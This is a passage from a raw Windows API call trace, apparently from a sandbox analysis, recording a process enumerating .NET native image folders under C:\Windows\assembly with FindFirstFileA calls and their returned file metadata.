ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbddbcc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.103] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ca6947a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbe01e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe01e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.112] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ca6947a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbe01e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe01e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.121] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71fb292f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbe27f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe27f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.127] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71fb292f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbe27f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe27f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.134] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x188ecb42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbe4e0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe4e0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.140] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x188ecb42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbe4e0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe4e0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.148] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf196a426, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xbe74240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe74240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.154] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf196a426, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xbe74240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe74240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.161] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2e0f50, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbe9a3a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe9a3a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.167] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2e0f50, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbe9a3a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe9a3a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.188] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea5846, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbe9a3a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbe9a3a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.197] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea5846, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbee6660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbee6660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.205] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7250dab9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbee6660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbee6660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.212] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7250dab9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbf0c7c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbf0c7c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.220] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ba377c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbf0c7c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbf0c7c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.227] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ba377c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbf32920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbf32920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.237] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x835e766f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbf32920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbf32920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.245] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x835e766f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbf58a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbf58a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.253] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d009d05, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbf58a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbf58a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.259] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d009d05, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbf7ebe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbf7ebe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.266] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x180e40f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbf7ebe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbf7ebe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.273] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x180e40f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbfa4d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbfa4d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.282] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87d04832, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbfa4d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbfa4d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.289] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8817b17a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbfcaea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbfcaea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.296] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87d04832, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbfcaea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbfcaea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.307] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84d42e7a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbff1000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbff1000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.316] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84d42e7a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc017160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc017160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.321] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4bb3543, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc017160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc017160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.328] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4bb3543, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc017160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc017160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.336] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2c96bb, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc03d2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc03d2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.341] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2ef81c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc03d2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc03d2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.347] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17784a42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc063420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc063420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.352] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17784a42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc063420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc063420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.357] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc712a3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc063420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc063420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.363] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc712a3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc089580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc089580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.369] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88cc9a0f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc089580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc089580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.375] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18580b9c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc089580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc089580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.381] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc02c0c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc0af6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc0af6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.386] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc02c0c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc0af6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc0af6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.392] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x179bfee6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc0af6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc0af6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.397] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, 